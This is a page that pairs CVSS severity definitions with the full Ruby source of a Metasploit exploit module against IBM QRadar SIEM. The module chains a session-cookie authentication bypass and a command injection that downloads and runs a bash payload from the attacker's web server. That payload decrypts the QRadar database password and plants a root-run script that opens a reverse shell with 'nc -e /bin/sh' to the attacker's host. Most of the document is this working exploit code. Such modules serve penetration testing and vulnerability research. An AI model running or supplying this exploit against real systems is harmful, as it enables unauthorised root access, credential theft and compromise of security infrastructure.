The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: IBM QRadar SIEM Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'securerandom'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',
'Description' => %q{
IBM QRadar SIEM has three vulnerabilities in the Forensics web application
that when chained together allow an attacker to achieve unauthenticated remote code execution.
The first stage bypasses authentication by fixating session cookies.
The second stage uses those authenticated sessions cookies to write a file to disk and execute
that file as the "nobody" user.
The third and final stage occurs when the file executed as "nobody" writes an entry into the
database that causes QRadar to execute a shell script controlled by the attacker as root within
the next minute.
Details about these vulnerabilities can be found in the advisories listed in References.
The Forensics web application is disabled in QRadar Community Edition, but the code still works,
so these vulnerabilities can be exploited in all flavours of QRadar.
This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8
patch 12 and 7.3.1 patch 3 are vulnerable.
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
},
'Author' =>
[
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2016-9722'],
['CVE', '2018-1418'],
['CVE', '2018-1612'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3689'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'],
['URL', 'http://seclists.org/fulldisclosure/2018/May/54'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797']
],
'Targets' =>
[
[ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ],
],
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse',
}
},
'DefaultOptions' => {
'SSL' => true,
# we can only run shell scripts, so set a reverse netcat payload by default
# the payload that will be run is in the first few lines of @payload
'PAYLOAD' => 'generic/shell_reverse_tcp',
},
'DisclosureDate' => 'May 28 2018',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
])
end
def check
res = send_request_cgi({
'uri' => '/ForensicsAnalysisServlet/',
'method' => 'GET'
})
if res.nil?
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 403
return CheckCode::Detected
end
CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error 'Connection failed'
return CheckCode::Unknown
end
# Handle incoming requests from QRadar
def on_request_uri(cli, request)
print_good("#{peer} - Sending privilege escalation payload to QRadar...")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload)
end
# step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet
def set_cookies
@sec_cookie = SecureRandom.uuid
@csrf_cookie = SecureRandom.uuid
post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," +
"#{@sec_cookie},#{@csrf_cookie}"
res = send_request_cgi({
'uri' => '/ForensicsAnalysisServlet/',
'method' => 'POST',
'ctype' => 'application/json',
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
'vars_get' =>
{
'action' => 'setSecurityTokens',
'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}"
},
'data' => post_data
})
if res.nil? or res.code != 200
fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies")
end
end
def exploit
print_status("#{peer} - Attempting to exploit #{target.name}")
# run step 1
set_cookies
# let's prepare step 2 (payload) and 3 (payload exec as root)
@payload_name = rand_text_alpha_lower(3..5)
root_payload = rand_text_alpha_lower(3..5)
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s
service_uri = http_service + '/' + @payload_name
print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@payload_name}"
}})
@payload = %{#!/bin/bash
# our payload that's going to be downloaded from our web server
cat <<EOF > /store/configservices/staging/updates/#{root_payload}
#!/bin/bash
/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &
EOF
### below is adapted from /opt/qradar/support/changePasswd.sh
[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"
NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`
FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"
FORENSICS_USER_FILE="config_user.xml"
FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"
# get the encrypted db password from the config
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'`
QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')
AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm
P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)
AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`
#if 7.2.8 or greater, use new method for hashing and salting passwords
if [[ $QVERSION -gt 727 || -z "$AESKEY" ]]
then
PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
else
PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
fi
PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \
"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)"
# kill ourselves!
(sleep 2 && rm -- "$0") &
}
# let's do step 2 then, ask QRadar to download and execute our payload
print_status("#{peer} - Asking QRadar to download and execute #{service_uri}")
exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " +
"/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " +
"/bin/bash /store/configservices/staging/updates/#{@payload_name})"
payload_step2 = "pcap[0][pcap]" +
"=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" +
"&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}"
uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" +
"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true"
res = send_request_cgi({
'uri' => uri_step2 + '&' + payload_step2,
'method' => 'GET',
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
})
# now we just sit back and wait for step 2 payload to be downloaded and executed
# ... and then step 3 to complete. Let's give it a little more than a minute.
Rex.sleep 80
end
end